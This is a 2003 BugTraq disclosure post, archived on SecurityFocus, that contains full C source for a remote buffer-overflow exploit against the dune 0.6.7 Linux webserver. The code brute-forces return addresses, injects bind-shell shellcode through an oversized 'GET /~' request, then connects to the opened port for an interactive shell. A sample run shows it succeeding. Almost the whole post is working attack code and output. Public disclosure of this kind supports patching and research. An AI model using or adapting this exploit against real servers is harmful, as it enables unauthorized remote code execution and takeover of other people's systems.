BugTraq
dune[0.6.7+-]: remote buffer overflow exploit. (httpd) Jun 17 2003 12:44AM
Vade 79 (v9 fakehalo deadpig org)


automated exploit for dune[0.6.7+-] webserver, source comments explain...

original source:

http://fakehalo.deadpig.org/xdune.c

Vade79 -> v9 (at) fakehalo.deadpig (dot) org [email concealed] -> fakehalo.

----------------- example usage -----------------

[v9@localhost v9]$ ./xdune localhost

[*] dune[0.6.7+-]: remote buffer overflow exploit.

[*] by: vade79/v9 v9 (at) fakehalo.deadpig (dot) org [email concealed] (fakehalo)

target:localhost:80 addresses:0x08048001(+0)-0x0804ffff

[. = 350 byte

offset]: .............................................................(hit

shellcode at 0x08048001(+21350))

Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686

unknown

uid=65534 gid=100(users) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6

(disk),10(wheel)

----------------- xdune.c -----------------

/*[ dune[0.6.7+-]: remote buffer overflow exploit. ]*

* by: vade79/v9 v9 (at) fakehalo.deadpig (dot) org [email concealed] (fakehalo) *

* *

* dune is a httpd webserver for linux, which can *

* be found at: *

* http://www.freshmeat.net/projects/dune *

* *

* i originally made a proof of concept(broken) *

* exploit for it a couple years ago. but, i *

* decided to finally make a working exploit for *

* it. probably the most easy-to-use exploit i've *

* ever made. the brute force method will allow *

* the exploit to work out of the box, on linux. *

* *

* this exploit exploits the "multiuser" feature of *

* dune. the request sent will look like: *

* "GET /~[48 bytes/overflow] [shellcode]\n\n" *

* the shellcode is placed where "HTTP/?.?" would *

* normally go. but, dune doesn't seem to care. *

* if it is placed elsewhere alot of characters *

* will get truncated/passed to different *

* functions. *

* *

* one problem though. because of this: *

* main.c:185:if(buffer[0]==EOF) exit(0); *

* main.c:203:if(buffer[0]==EOF) exit(0); *

* no 0xff's can be sent to the server, for this to *

* work. but, i've made the exploit to work around *

* the problem. *

* *

* note: dune does drop privileges(uid/gid), if *

* started as root. but, does not initgroups() *

* accordingly. *

****************************************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <signal.h>

#include <unistd.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#define BASE_ADDR 0x08048001 /* start brute. */

#define END_ADDR 0x0804ffff /* end brute. */

#define TIMEOUT 15 /* connection timeout. */

static char x86_exec[]= /* modded from netric folk. */

"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"

"\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"

"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"

"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"

"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"

"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"

"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"

"\x80";

char *getbuf(unsigned long);

void getshell(char *,unsigned short,unsigned long);

void request_url(char *hostname,unsigned short port,

unsigned long);

void printe(char *,short);

void sig_alarm(){printe("alarm/timeout hit",1);}

int main(int argc,char **argv){

unsigned short port=80; /* default. */

unsigned short sport=7979; /* default. */

unsigned long ret=0;

printf("[*] dune[0.6.7+-]: remote buffer overflow exp"

"loit.\n[*] by: vade79/v9 v9 (at) fakehalo.deadpig (dot) org [email concealed] (fa"

"kehalo)\n\n");

if(argc<2){

printf("[!] syntax: %s <hostname> [port] [offset] [s"

"hell port]\n\n",argv[0]);

exit(1);

}

if(argc>2)

port=atoi(argv[2]);

if(argc>3)

ret=atoi(argv[3]);

if(argc>4)

sport=atoi(argv[4]);

/* check for 0x0 and 0xff, can't use them. */

if(((sport&0xff00)>>8)==0xff||(sport&0x00ff)==0xff||

!((sport&0xff00)>>8)||!(sport&0x00ff)){

printf("[!] shell port defined contains bad characte"

"r(s), using default.\n");

sport=7979; /* back to default. */

}

/* add port dealio. */

x86_exec[20]=(sport&0xff00)>>8;

x86_exec[21]=(sport&0x00ff);

printf(" target:%s:%d addresses:0x%.8x(+%ld)-0x%.8x"

"\n\n",argv[1],port,BASE_ADDR,ret,END_ADDR);

fprintf(stderr,"[. = 350 byte offset]: ");

while((BASE_ADDR+ret)<END_ADDR){

/* make sure its a usable address. */

if(!(BASE_ADDR+(ret&0x000000ff)))

ret--;

if((BASE_ADDR+(ret&0x000000ff))==0xff)

ret--;

request_url(argv[1],port,(BASE_ADDR+ret));

sleep(1);

getshell(argv[1],sport,ret);

ret+=350; /* number of nops. */

}

fprintf(stderr,"(hit memory limit, aborting)\n\n");

exit(0);

}

/* layout: "GET /~[addr*12] [shellcode]\n\n". */

char *getbuf(unsigned long addr){

unsigned int i=0;

char *buf;

if(!(buf=(char *)malloc(500+1)))

printe("getbuf(): allocating memory failed",1);

memset(buf,0x0,501);

strcpy(buf,"GET /~");

for(i=6;i<(48+6);i+=4){*(long *)&buf[i]=addr;}

buf[i++]=0x20; /* space. */

memset(buf+i,0x90,(500-strlen(x86_exec)-i-2));

memcpy(buf+(500-strlen(x86_exec)-2),x86_exec,

strlen(x86_exec));

strcpy(buf+strlen(buf),"\n\n");

return(buf);

}

void getshell(char *hostname,unsigned short port,

unsigned long offset){

int sock,r;

fd_set fds;

char buf[4096];

struct hostent *he;

struct sockaddr_in sa;

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))

==-1)

printe("getshell() socket failed",1);

sa.sin_family=AF_INET;

if((sa.sin_addr.s_addr=inet_addr(hostname))){

if(!(he=gethostbyname(hostname)))

printe("couldn't resolve hostname",1);

memcpy((char *)&sa.sin_addr,(char *)he->h_addr,

sizeof(sa.sin_addr));

}

sa.sin_port=htons(port);

signal(SIGALRM,sig_alarm);

alarm(TIMEOUT);

if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){

fprintf(stderr,".");

close(sock);

return;

}

alarm(0);

fprintf(stderr,"(hit shellcode at 0x%.8x(+%ld))\n\n",

BASE_ADDR,offset);

signal(SIGINT,SIG_IGN);

write(sock,"uname -a;id\n",13);

while(1){

FD_ZERO(&fds);

FD_SET(0,&fds);

FD_SET(sock,&fds);

if(select(sock+1,&fds,0,0,0)<1){

printe("getshell(): select() failed",0);

return;

}

if(FD_ISSET(0,&fds)){

if((r=read(0,buf,sizeof(buf)))<1){

printe("getshell(): read() failed",0);

return;

}

if(write(sock,buf,r)!=r){

printe("getshell(): write() failed",0);

return;

}

}

if(FD_ISSET(sock,&fds)){

if((r=read(sock,buf,sizeof(buf)))<1)

exit(0);

write(1,buf,r);

}

}

close(sock);

return;

}

void request_url(char *hostname,unsigned short port,

unsigned long ret){

int sock;

char *ptr;

struct hostent *t;

struct sockaddr_in s;

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

s.sin_family=AF_INET;

s.sin_port=htons(port);

if((s.sin_addr.s_addr=inet_addr(hostname))){

if(!(t=gethostbyname(hostname)))

printe("couldn't resolve hostname",1);

memcpy((char*)&s.sin_addr,(char*)t->h_addr,

sizeof(s.sin_addr));

}

signal(SIGALRM,sig_alarm);

alarm(TIMEOUT);

if(connect(sock,(struct sockaddr *)&s,sizeof(s)))

printe("connection failed",1);

alarm(0);

ptr=getbuf(ret);

write(sock,ptr,strlen(ptr));

close(sock);

return;

}

void printe(char *err,short e){

fprintf(stderr,"(error: %s)\n\n",err);

if(e)

exit(1);

return;

}

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus